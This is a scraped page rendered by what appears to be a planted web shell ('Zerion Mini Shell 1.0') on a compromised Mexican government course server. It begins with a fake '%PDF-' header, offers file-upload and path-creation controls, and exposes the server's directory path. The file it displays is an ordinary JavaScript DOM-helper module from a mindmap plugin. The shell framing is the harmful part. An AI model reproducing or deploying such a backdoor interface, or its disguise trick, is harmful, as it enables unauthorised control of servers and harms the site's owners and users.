%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/cursos.tjamich.gob.mx/plugin/mindmap/edit-mindmap/vendor/js/kampfer/
Upload File :
Create Path :
Current File : /home/tjamichg/cursos.tjamich.gob.mx/plugin/mindmap/edit-mindmap/vendor/js/kampfer/dom.js

/*global kampfer*/
kampfer.provide('dom');

kampfer.dom.create = function(name) {
    return kampfer.global.document.createElement(name);
};

kampfer.dom.addClass = function(elem, value) {

    var classNames, i, l,
        setClass, c, cl;

    if ( value && typeof value === "string" ) {
        classNames = value.split( /\s+/ );

        if ( elem.nodeType === 1 ) {
            if ( !elem.className && classNames.length === 1 ) {
                elem.className = value;

            } else {
                setClass = " " + elem.className + " ";

                for ( c = 0, cl = classNames.length; c < cl; c++ ) {
                    if ( !~setClass.indexOf( " " + classNames[ c ] + " " ) ) {
                        setClass += classNames[ c ] + " ";
                    }
                }
                elem.className = setClass.trim();
            }
        }
    }

};


kampfer.dom.removeClass = function(elem, value) {
    
    var classNames, i, l, className, c, cl;
    
    if ( (value && typeof value === "string") || value === undefined ) {
        classNames = ( value || "" ).split( /\s+/ );
    
        if ( elem.nodeType === 1 && elem.className ) {
            if ( value ) {
                className = (" " + elem.className + " ").replace( /[\n\t\r]/g, " " );
                for ( c = 0, cl = classNames.length; c < cl; c++ ) {
                    className = className.replace(" " + classNames[ c ] + " ", " ");
                }
                //elem.className = kampfer.string.trim( className );
                elem.className = className.trim();
            } else {
                elem.className = "";
            }
        }
    }
};


kampfer.dom.getComputedStyle = function(element, property) {
    var doc = kampfer.global.document;
    if(doc.defaultView && doc.defaultView.getComputedStyle) {
        var styles = doc.defaultView.getComputedStyle(element, null);
        if(styles) {
            // element.style[..] is undefined for browser specific styles
            // as 'filter'.
            return styles[property] || styles.getPropertyValue(property);
        }
    }
    return '';
};


//for IE
kampfer.dom.getCascadedStyle = function(element, style) {
    return element.currentStyle ? element.currentStyle[style] : null;
};


kampfer.dom.getStyle = function(element, style) {
    return kampfer.dom.getComputedStyle(element, style) ||
        kampfer.dom.getCascadedStyle(element, style) ||
        element.style[style];
};


//需要输入正确的javascript格式名
//TODO 处理样式名
kampfer.dom.setStyle = function(element, name, value) {
    if( kampfer.isDefAndNotNull(value) &&
        kampfer.type(name) === 'string' ) {
        element.style[name] = value;
    } else if( kampfer.isObject(name) ) {
        for(var attr in name) {
            kampfer.dom.setStyle(element, attr, name[attr]);
        }
    }
};

// http://code.jquery.com/jquery-1.8.3.js
kampfer.dom.getWindow = function(elem) {
    return kampfer.isWindow(elem) ?
        elem :
        elem.nodeType === 9 ?
            elem.defaultView || elem.parentWindow :
            false;
};


// http://code.jquery.com/jquery-1.8.3.js
kampfer.dom.scrollLeft = function(elem, val) {
    var win = kampfer.dom.getWindow( elem ),
        prop = 'pageXOffset',
        method = 'scrollLeft';

    if ( val === undefined ) {
        return win ? (prop in win) ? win[ prop ] :
            win.document.documentElement[ method ] :
            elem[ method ];
    }

    if ( win ) {
        win.scrollTo( val, kampfer.dom.scrollTop( win ));
    } else {
        elem[ method ] = val;
    }
};

// http://code.jquery.com/jquery-1.8.3.js
kampfer.dom.scrollTop = function(elem, val) {
    var win = kampfer.dom.getWindow( elem ),
        prop = 'pageYOffset',
        method = 'scrollTop';

    if ( val === undefined ) {
        return win ? (prop in win) ? win[ prop ] :
            win.document.documentElement[ method ] :
            elem[ method ];
    }

    if ( win ) {
        win.scrollTo( kampfer.dom.scrollLeft( win ), val);
    } else {
        elem[ method ] = val;
    }
};


//http://www.cnblogs.com/rubylouvre/archive/2011/05/30/1583523.html
kampfer.dom.contains = function(parent, child) {
    if(parent.compareDocumentPosition) {
        return parent === child || !!(parent.compareDocumentPosition(child) & 16);
    }

    if(parent.contains && child.nodeType === 1) {
        return parent.contains(child) && parent !== child;
    }

    while( (child = child.parentNode) ) {
        if(child === parent) {
            return true;
        }
    }

    return false;
};

Zerion Mini Shell 1.0